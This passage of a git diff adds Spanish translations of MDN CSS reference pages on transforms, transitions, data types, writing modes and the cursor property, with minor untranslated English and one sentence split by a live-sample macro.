+   <td>22{{property_prefix("-webkit")}}</td>
+   <td>3.2 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 14.0 removed the experimental support for <code>skew()</code>, but it was reintroduced in Gecko 15.0 for compatibility reasons. As it is non-standard and will likely be removed in the future, do not use it.</p>
+
+<p>[2] Before Firefox 16, the translation values of <code>matrix()</code> and <code>matrix3d()</code> could be {{cssxref("&lt;length&gt;")}}, in addition to the standard {{cssxref("&lt;number&gt;")}}.</p>
+
+<p>[3] Internet Explorer 5.5 or later supports a proprietary <a href="http://msdn.microsoft.com/en-us/library/ms533014%28VS.85,loband%29.aspx">Matrix Filter</a> which can be used to achieve a similar effect.</p>
+
+<p>Internet Explorer 9.0 or earlier has no support for 3D transforms, mixing 3D and 2D transform functions. such as <code>-ms-transform:rotate(10deg) translateZ(0);</code> will prevent the entire property from being applied.</p>
+
+<p>[4] Android 2.3 has a bug where input forms will "jump" when typing, if any container element has a <code>-webkit-transform</code>.</p>
+
+<p>[5] Internet Explorer 11.0 supports the {{property_prefix("-webkit")}} <a href="https://msdn.microsoft.com/library/jj127312#code-snippet-1">prefixed variant as an alias for the default one</a>.</p>
+
+<p> </p>
diff --git a/files/es/web/css/css_transforms/using_css_transforms/index.html b/files/es/web/css/css_transforms/using_css_transforms/index.html
new file mode 100644
index 0000000000..ac73ecaafc
--- /dev/null
+++ b/files/es/web/css/css_transforms/using_css_transforms/index.html
@@ -0,0 +1,225 @@
+---
+title: Uso de CSS transforms
+slug: Web/CSS/CSS_Transforms/Using_CSS_transforms
+translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms
+---
+<div>{{CSSRef}}</div>
+
+<p>Al modificar las coordenadas del espacio, las transformaciones CSS permiten cambiar la posición del contenido afectado sin interrumpir el flujo normal. Se implementan haciendo uso de un conjunto de propiedades CSS que permiten aplicar transformaciones lineales a elementos HTML. Estas transformaciones incluyen rotar, torcer, escalar y desplazar en plano o en un espacio 3D.</p>
+
+<h2 id="Propiedades_de_las_transformaciones_CSS">Propiedades de las transformaciones CSS</h2>
+
+<p>Se usan dos propiedades principalmente para definir las transformaciones CSS: {{ cssxref("transform") }} y {{ cssxref("transform-origin") }}</p>
+
+<dl>
+ <dt>{{ cssxref("transform-origin") }}</dt>
+ <dd>Especifica la posición de origen que se usará para la transformación. Por defecto es el lado superior izquierdo del elemento. Esta posición es usada por varias transformaciones como rotar, escalar o torcer ya que necesitan de este punto especifico como parámetro.</dd>
+ <dt>{{ cssxref("transform") }}</dt>
+ <dd>Especifica la transformación a realizar sobre el elemento. Se define como una lista separada por espacios de transformaciones que se aplican en orden una después de la otra, tal y como es requerido por la operación de composición.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Esta es una imagen inalterada del logo de MDN:</p>
+
+<p><img alt="MDN Logo" src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png" style="height: 106px; width: 110px;"></p>
+
+<h3 id="Ejemplo_Rotando">Ejemplo: Rotando</h3>
+
+<p>Aquí está el logo MDN en un iframe rotado 90 grados desde su esquina inferior izquierda.</p>
+
+<pre class="brush: html">&lt;img style="transform: rotate(90deg);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Ejemplo_Rotando', 'auto', 240, '', 'Web/CSS/CSS_Transforms/Using_CSS_transforms') }}</p>
+
+<h3 id="Ejemplo_Torciendo_y_desplazando">Ejemplo: Torciendo y desplazando</h3>
+
+<p>Aquí está el logo MDN torcido 10 grados y desplazado 150 pixels en el eje X.</p>
+
+<pre class="brush: html">&lt;img style="transform: skewx(10deg) translatex(150px);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"&gt;
+</pre>
+
+<h2 id="Propiedades_CSS_específicas_para_3D">Propiedades CSS específicas para 3D</h2>
+
+<p>Realizar cambios en las propiedades CSS en el espacio tridemensional es un poco más complejo. Debes empezar configurando el espacio 3D dándole una perspectiva, a continuación debes configurar cómo interactuarán los elementos 2D en dicho espacio.</p>
+
+<h3 id="Definiendo_una_perspectiva">Definiendo una perspectiva</h3>
+
+<p>El primer elemento a definir es la <em>perspectiva</em>. La perspectiva es lo que nos da la sensación de 3D. Cuanto más lejanos estén los elementos del espectador, más pequeños serán.</p>
+
+<p>Definímos como de rápido se encogen con la propiedad {{ cssxref("perspective") }}. Cuánto más pequeño sea el valor, más profunda será la perspectiva.</p>
+
+<div>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>perspective:0;</code></td>
+   <td><code>perspective:250px;</code></td>
+  </tr>
+  <tr>
+   <td>
+    <div class="container" style="width: 200px; height: 200px; margin: 75px 0 0 75px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 0; -moz-transform-style: preserve-3d; -moz-perspective-origin: 150% 150%;">
+    <div class="middle" style="display: block; position: absolute; width: 100px; height: 100px; border: 1px dashed black; line-height: 100px; font-family: arial, sans-serif; font-size: 60px; color: white; text-align: center; background: transparent;">   </div>
+
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+   <td>
+    <div class="container" style="width: 200px; height: 200px; margin: 75px 0 0 75px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 150px; -moz-transform-style: preserve-3d; -moz-perspective-origin: 150% 150%;">
+    <div class="middle" style="display: block; position: absolute; width: 100px; height: 100px; border: 1px dashed black; line-height: 100px; font-family: arial, sans-serif; font-size: 60px; color: white; text-align: center; background: transparent;">   </div>
+
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+   <td>
+    <div class="container" style="width: 200px; height: 200px; margin: 75px 0 0 75px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 300px; -moz-transform-style: preserve-3d; -moz-perspective-origin: 150% 150%;">
+    <div class="middle" style="display: block; position: absolute; width: 100px; height: 100px; border: 1px dashed black; line-height: 100px; font-family: arial, sans-serif; font-size: 60px; color: white; text-align: center; background: transparent;">   </div>
+
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+   <td>
+    <div class="container" style="width: 200px; height: 200px; margin: 75px 0 0 75px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 600px; -moz-transform-style: preserve-3d; -moz-perspective-origin: 150% 150%;">
+    <div class="middle" style="display: block; position: absolute; width: 100px; height: 100px; border: 1px dashed black; line-height: 100px; font-family: arial, sans-serif; font-size: 60px; color: white; text-align: center; background: transparent;">   </div>
+
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>El segundo elemento a configurar es la posición del espectador, con la propiedad {{ cssxref("perspective-origin") }}. Por defecto, la perspectiva está centrada en el espectad</p>
+
+<p>{{ EmbedLiveSample('Definiendo_una_perspectiva', '', '', '', 'Web/CSS/CSS_Transforms/Using_CSS_transforms') }}</p>
+
+<p>or, pero no siempre es lo adecuado.</p>
+
+<div>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>perspective-origin:150px 150px;</code></td>
+   <td><code>perspective-origin:50% 50%;</code></td>
+   <td><code>perspective-origin:-50px -50px;</code></td>
+  </tr>
+  <tr>
+   <td>
+    <div class="container" style="width: 100px; height: 100px; margin: 25px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 300px; -moz-transform-style: preserve-3d; -moz-perspective-origin: 150% 150%;">
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+   <td>
+    <div class="container" style="width: 100px; height: 100px; margin: 25px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 300px; -moz-transform-style: preserve-3d; -moz-perspective-origin: 50% 50%;">
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+   <td>
+    <div class="container" style="width: 100px; height: 100px; margin: 25px; border: none;">
+    <div class="cube" style="width: 100%; height: 100%; -moz-perspective: 300px; -moz-transform-style: preserve-3d; -moz-perspective-origin: -50% -50%;">
+    <div class="front" style="">1</div>
+
+    <div class="back" style="">2</div>
+
+    <div class="right" style="">3</div>
+
+    <div class="left" style="">4</div>
+
+    <div class="top" style="">5</div>
+
+    <div class="bottom" style="">6</div>
+    </div>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Una vez has hecho esto, ya puedes trabajar con los elementos en el espacio 3D.</p>
+
+<h3 id="2D_elements_in_the_3D_space">2D elements in the 3D space</h3>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/Using_Deviceorientation_In_3D_Transforms" title="Using Deviceorientation In 3D Transforms">Using deviceorientation in 3D Transforms</a></li>
+</ul>
diff --git a/files/es/web/css/css_transitions/index.html b/files/es/web/css/css_transitions/index.html
new file mode 100644
index 0000000000..1855888e7d
--- /dev/null
+++ b/files/es/web/css/css_transitions/index.html
@@ -0,0 +1,60 @@
+---
+title: CSS Transitions
+slug: Web/CSS/CSS_Transitions
+tags:
+  - CSS
+  - Experimental
+  - Referencia
+  - Transiciones CSS
+  - Vista general
+translation_of: Web/CSS/CSS_Transitions
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><strong>Transiciones CSS </strong>es un módulo de CSS que define cómo crear transiciones suaves entre diferentes valores de las propiedades CSS. Permite tanto crearlas como definir su evolución usando funciones relacionadas con el tiempo.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("transition")}}</li>
+ <li>{{cssxref("transition-delay")}}</li>
+ <li>{{cssxref("transition-duration")}}</li>
+ <li>{{cssxref("transition-property")}}</li>
+ <li>{{cssxref("transition-timing-function")}}</li>
+</ul>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">Using CSS transitions</a></dt>
+ <dd>Tutorial donde se explica paso a paso cómo crear transiciones suaves usando CSS. El artículo describe cada propiedad CSS relevante y explica como interactúan entre ellas.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Transiciones relacionadas, <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> pueden producir animaciones independientemente de los cambios en los valores.</li>
+</ul>
diff --git a/files/es/web/css/css_types/index.html b/files/es/web/css/css_types/index.html
new file mode 100644
index 0000000000..bdb0c5386e
--- /dev/null
+++ b/files/es/web/css/css_types/index.html
@@ -0,0 +1,64 @@
+---
+title: Tipos de datos básicos de CSS
+slug: Web/CSS/CSS_Types
+tags:
+  - CSS
+  - Referencia
+  - Tipo de Dato CSS
+  - Visión general
+translation_of: Web/CSS/CSS_Types
+---
+<div>{{CssRef}}</div>
+
+<p>Los <strong>tipos de datos básicos de CSS</strong> definen los valores típicos (incluidas las palabras clave y las unidades) aceptados por las propiedades y funciones de CSS. Son un tipo especial de <a href="https://www.w3.org/TR/css3-values/#component-types">valor de componente</a>.</p>
+
+<p>En sintaxis formal, los tipos de datos se denotan con una palabra clave colocada entre los signos de desigualdad "&lt;" y "&gt;".</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;angle&gt;")}}</li>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+ <li>{{cssxref("&lt;custom-ident&gt;")}}</li>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency&gt;")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+ <li>{{cssxref("&lt;length&gt;")}}</li>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+ <li>{{cssxref("&lt;percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;position&gt;")}}</li>
+ <li>{{cssxref("&lt;ratio&gt;")}}</li>
+ <li>{{cssxref("&lt;resolution&gt;")}}</li>
+ <li>{{cssxref("&lt;shape-box&gt;")}}</li>
+ <li>{{cssxref("&lt;single-transition-timing-function&gt;")}}</li>
+ <li>{{cssxref("&lt;string&gt;")}}</li>
+ <li>{{cssxref("&lt;time&gt;")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li>{{cssxref("&lt;url&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Values') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/css/css_writing_modes/index.html b/files/es/web/css/css_writing_modes/index.html
new file mode 100644
index 0000000000..1eb0bb2d15
--- /dev/null
+++ b/files/es/web/css/css_writing_modes/index.html
@@ -0,0 +1,52 @@
+---
+title: CSS Writing Modes
+slug: Web/CSS/CSS_Writing_Modes
+translation_of: Web/CSS/CSS_Writing_Modes
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Writing Modes</strong> es un modulo CSS que define varios modos internacionales de escritura, como izquierda-derecha (e.g. usado por Latin y textos Indic), de derecha-zquierda (e.g. usado por textos Hebreos o Árabes), bidireccional (usado cuando se mezcla izquierda-derecha y  derecha-izquierda) y vertical (e.g. usado por algunos textos Asiaticos).</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("glyph-orientation-horizontal")}}</li>
+ <li>{{cssxref("text-combine-upright")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+ <li>{{cssxref("unicode-bidi")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Writing Modes')}}</td>
+   <td>{{Spec2('CSS3 Writing Modes')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/css/cursor/index.html b/files/es/web/css/cursor/index.html
new file mode 100644
index 0000000000..d8a0080831
--- /dev/null
+++ b/files/es/web/css/cursor/index.html
@@ -0,0 +1,322 @@
+---
+title: cursor
+slug: Web/CSS/cursor
+tags:
+  - Referencia_CSS
+translation_of: Web/CSS/cursor
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad <a href="es/CSS/cursor">CSS:cursor</a> especifica el tipo de cursor que se mostrara cuando este se encuentre sobre un elemento.</p>
+
+<ul>
+ <li><a href="es/CSS/Valor_inicial">CSS:Valor_inicial</a>:<code> <a href="es/CSS/auto">CSS:auto</a></code></li>
+ <li>Se aplica a: todos los elementos</li>
+ <li><a href="es/CSS/inheritance">CSS:inheritance</a>: Si</li>
+ <li>Porcentaje: N/A</li>
+ <li>Media: <a href="es/CSS/Media/Visual">CSS:Media:Visual</a>, <a href="es/CSS/Media/Interactivo">CSS:Media:Interactivo</a></li>
+ <li><a href="es/CSS/Valor_calculado">CSS:Valor_calculado</a>:como sea especificado con URLs relativos convertidos a URLs absolutos.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">cursor: &lt;std-cursor-name&gt; | &lt;url&gt; [&lt;x&gt; &lt;y&gt;]? [, &lt;url&gt; [&lt;x&gt; &lt;y&gt;]?]* | <a href="es/CSS/inherit">CSS:inherit</a> ;
+</pre>
+
+<pre class="eval">cursor: [&lt;url&gt; [&lt;x&gt; &lt;y&gt;]?,]*  &lt;std-cursor-name&gt; ;
+</pre>
+
+<h3 id="Values" name="Values">Values</h3>
+
+<dl>
+ <dt>&lt;url&gt; {{ mediawiki.external(' ') }}? </dt>
+ <dd>URL del cursor seleccionado mas posición opcional. Mas de un URL puede provocar problemas, in caso de que algunos tipode de imágenes de cursor no puedan ser usados.vea <a href="es/Uso_de_URL_como_valor_de_la_propiedad_cursor">Uso_de_URL_como_valor_de_la_propiedad_cursor</a> para mas detalles.</dd>
+ <dt>&lt;std-cursor-name&gt;</dt>
+ <dd>Algunos nombres de cursores se encuentra en la siguiente tabla.</dd>
+</dl>
+
+<h4 id="Supported_CSS_standard_values" name="Supported_CSS_standard_values">Supported CSS standard values</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Categoría</th>
+   <th>nombre de CSS</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td rowspan="3">General</td>
+   <td style="cursor: auto;"><code>auto</code></td>
+   <td>El browser (user agent) determina el cursor que mostrara basado en el contenido presente.<br>
+    E.g. equivalent to <code>text</code> when hovering text</td>
+  </tr>
+  <tr>
+   <td style="cursor: default;"><code>default</code></td>
+   <td>default cursor (typically an arrow)</td>
+  </tr>
+  <tr>
+   <td style="cursor: none;"><code>none</code></td>
+   <td>no cursor is rendered {{ Fx_minversion_inline(3) }}</td>
+  </tr>
+  <tr>
+   <td rowspan="5">Links &amp; status</td>
+   <td style="cursor: context-menu;"><code>context-menu</code></td>
+   <td>cursor indicating that a context menu is available under the cursor</td>
+  </tr>
+  <tr>
+   <td style="cursor: help;"><code>help</code></td>
+   <td>cursor indicating help is available</td>
+  </tr>
+  <tr>
+   <td style="cursor: pointer;"><code>pointer</code></td>
+   <td>cursor used when over links (typically a hand)</td>
+  </tr>
+  <tr>
+   <td style="cursor: progress;"><code>progress</code></td>
+   <td>cursor indicating that the program is busy in the background but the user can still interact with the interface (unlike for <code>wait</code>)</td>
+  </tr>
+  <tr>
+   <td style="cursor: wait;"><code>wait</code></td>
+   <td>cursor indicating the program is busy (sometimes an hourglass or a watch)</td>
+  </tr>
+  <tr>
+   <td rowspan="4">Selection</td>
+   <td style="cursor: cell;"><code>cell</code></td>
+   <td>cursor indicating that cells can be selected</td>
+  </tr>
+  <tr>
+   <td style="cursor: crosshair;"><code>crosshair</code></td>
+   <td>cross cursor, often used to indicate selection in a bitmap</td>
+  </tr>
+  <tr>
+   <td style="cursor: text;"><code>text</code></td>
+   <td>cursor indicating text can be selected (typically an I-beam)</td>
+  </tr>
+  <tr>
+   <td style="cursor: vertical-text;"><code>vertical-text</code></td>
+   <td>cursor indicating that vertical text can be selected (typically a sideways I-beam)</td>
+  </tr>
+  <tr>
+   <td rowspan="5">Drag and drop</td>
+   <td style="cursor: alias;"><code>alias</code></td>
+   <td>cursor indicating an alias or shortcut is to be created</td>
+  </tr>
+  <tr>
+   <td style="cursor: copy;"><code>copy</code></td>
+   <td>cursor indicating that something can be copied</td>
+  </tr>
+  <tr>
+   <td style="cursor: move;"><code>move</code></td>
+   <td>the hovered object may be moved</td>
+  </tr>
+  <tr>
+   <td style="cursor: no-drop;"><code>no-drop</code></td>
+   <td>cursor showing that a drop is not allowed at the current location</td>
+  </tr>
+  <tr>
+   <td style="cursor: not-allowed;"><code>not-allowed</code></td>
+   <td>cursor showing that something cannot be done</td>
+  </tr>
+  <tr>
+   <td rowspan="15">Resize &amp; scrolling</td>
+   <td style="cursor: all-scroll;"><code>all-scroll</code></td>
+   <td>cursor showing that something can be scrolled in any direction (panned)</td>
+  </tr>
+  <tr>
+   <td style="cursor: col-resize;"><code>col-resize</code></td>
+   <td>cursor for resizing columns horizontally</td>
+  </tr>
+  <tr>
+   <td style="cursor: e-resize;"><code>e-resize</code></td>
+   <td>cursor for resizing the right edge of a box</td>
+  </tr>
+  <tr>
+   <td style="cursor: ew-resize;"><code>ew-resize</code></td>
+   <td>cursor for resizing left or right</td>
+  </tr>
+  <tr>
+   <td style="cursor: n-resize;"><code>n-resize</code></td>
+   <td>cursor for resizing the top edge of a box</td>
+  </tr>
+  <tr>
+   <td style="cursor: ne-resize;"><code>ne-resize</code></td>
+   <td>cursor for resizing the top right corner of a box</td>
+  </tr>
+  <tr>
+   <td style="cursor: nesw-resize;"><code>nesw-resize</code></td>
+   <td>cursor for resizing in the top-right or bottom-left directions</td>
+  </tr>
+  <tr>
+   <td style="cursor: ns-resize;"><code>ns-resize</code></td>
+   <td>cursor for resizing up or down</td>
+  </tr>
+  <tr>
+   <td style="cursor: nw-resize;"><code>nw-resize</code></td>
+   <td>cursor for resizing the top left corner of a box</td>
+  </tr>
+  <tr>
+   <td style="cursor: nwse-resize;"><code>nwse-resize</code></td>
+   <td>cursor for resizing in the top-left or bottom-right directions</td>
+  </tr>
+  <tr>
+   <td style="cursor: row-resize;"><code>row-resize</code></td>
+   <td>cursor for resizing rows vertically</td>
+  </tr>
+  <tr>
+   <td style="cursor: s-resize;"><code>s-resize</code></td>
+   <td>cursor for resizing the bottom edge of a box</td>
+  </tr>
+  <tr>
+   <td style="cursor: se-resize;"><code>se-resize</code></td>
+   <td>cursor for resizing the bottom right corner of a box</td>
+  </tr>
+  <tr>
+   <td style="cursor: sw-resize;"><code>sw-resize</code></td>
+   <td>cursor for resizing the bottom left corner of a box</td>
+  </tr>
+  <tr>
+   <td style="cursor: w-resize;"><code>w-resize</code></td>
+   <td>cursor for resizing the left edge of a box</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Extended_Gecko_CSS_values" name="Extended_Gecko_CSS_values">Extended Gecko CSS values</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>CSS name</th>
+   <th>Description</th>
+   <th>Deprecation</th>
+  </tr>
+  <tr>
+   <td style="cursor: -moz-alias;"><code><a href="es/CSS/-moz-alias">-moz-alias</a></code></td>
+   <td>replaced by standard value <code>alias</code> as described in the previous table</td>
+   <td>Gecko 1.8a6</td>
+  </tr>
+  <tr>
+   <td style="cursor: -moz-cell;"><code><a href="es/CSS/-moz-cell">-moz-cell</a></code></td>
+   <td>replaced by standard value <code>cell</code> as described in the previous table</td>
+   <td>Gecko 1.8a6</td>
+  </tr>
+  <tr>
+   <td style="cursor: -moz-context-menu;"><code><a href="es/CSS/-moz-context-menu">-moz-context-menu</a></code></td>
+   <td>replaced by standard value <code>context-menu</code> as described in the previous table</td>
+   <td>Gecko 1.8a6</td>
+  </tr>
+  <tr>
+   <td style="cursor: -moz-copy;"><code><a href="es/CSS/-moz-copy">-moz-copy</a></code></td>
+   <td>replaced by standard value <code>copy</code> as described in the previous table</td>
+   <td>Gecko 1.8a6</td>
+  </tr>
+  <tr>
+   <td style="cursor: -moz-grab;"><code><a href="es/CSS/-moz-grab">-moz-grab</a></code></td>
+   <td>a cursor value that should indicate that an element or an object in a webpage can be grabbed</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td style="cursor: -moz-grabbing;"><code><a href="es/CSS/-moz-grabbing">-moz-grabbing</a></code></td>
+   <td>a cursor value that should indicate that an element or an object is currently being grabbed</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td style="cursor: -moz-spinning;"><code><a href="es/CSS/-moz-spinning">-moz-spinning</a></code></td>
+   <td>replaced by standard value <code>progress</code> as described in the previous table</td>
+   <td>Gecko 1.7.1</td>
+  </tr>
+  <tr>
+   <td style="cursor: -moz-zoom-in;"><code><a href="es/CSS/-moz-zoom-in">-moz-zoom-in</a></code></td>
+   <td>used to indicate that an element or an object in a webpage is actually being resized, enlarged or is actually being magnified</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td style="cursor: -moz-zoom-out;"><code><a href="es/CSS/-moz-zoom-out">-moz-zoom-out</a></code></td>
+   <td>used to indicate that an element or an object in a webpage is actually being resized, reduced or is actually being zoomed out</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Examples" name="Examples">Examples</h3>
+
+<p><a href="/samples/cssref/cursor.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>Inline:
+
+&lt;span style="cursor: crosshair"&gt;Some Text&lt;/span&gt;
+
+External:
+
+.pointer {
+	cursor: pointer;
+}
+.move {
+	cursor: move;
+}
+
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>While this property works on older browsers, not all values are fully supported.</p>
+
+<h3 id="Specifications" name="Specifications">Specifications</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/ui.html#propdef-cursor">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">css3-ui</a></li>
+</ul>
+
+<h3 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Lowest Version (<code>&lt;std-cursor-name&gt;</code>)</th>
+   <th>Lowest Version (<code>&lt;url&gt;</code>)</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+   <td>6 (only <code>.cur</code> files)</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1.0</td>
+   <td>1.5</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>7</td>
+   <td>-</td>
+  </tr>
+  <tr>
+   <td>Konqueror</td>
+   <td>3.1</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>1.2</td>
+   <td>1.2</td>
+  </tr>
+  <tr>
+   <td>Safari (Win)</td>
+   <td>3.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="See_also" name="See_also">See also</h3>
+
+<p>{{ languages( { "fr": "fr/CSS/cursor", "pl": "pl/CSS/cursor", "en": "en/CSS/cursor" } ) }}</p>
diff --git a/files/es/web/css/cursor/uso_de_url_como_valor_de_la_propiedad_cursor/index.html b/files/es/web/css/cursor/uso_de_url_como_valor_de_la_propiedad_cursor/index.html
new file mode 100644
index 0000000000..b59b5f677d
--- /dev/null
+++ b/files/es/web/css/cursor/uso_de_url_como_valor_de_la_propiedad_cursor/index.html
@@ -0,0 +1,39 @@
+---
+title: Uso de URL como valor de la propiedad cursor
+slug: Web/CSS/cursor/Uso_de_URL_como_valor_de_la_propiedad_cursor
+tags:
+  - CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property
+---
+<p><a href="/es/Gecko" title="es/Gecko">Gecko</a> 1.8 (<a href="/es/Firefox_1.5_para_Desarrolladores" title="es/Firefox_1.5_para_Desarrolladores">Firefox 1.5</a>, SeaMonkey 1.0) soporta el uso de URLs como valores para la <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/css/ui.html#propdef-cursor">propiedad cursor</a> (CSS2). Esto nos permite definir la imagen que queremos como puntero del ratón, además podemos usar cualquiera de los formatos gráficos soportados por Gecko.</p>
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+<p>La sintaxis de esta propiedad es:</p>
+<pre class="eval">cursor: [&lt;url&gt;,]* cursor-genérico;
+</pre>
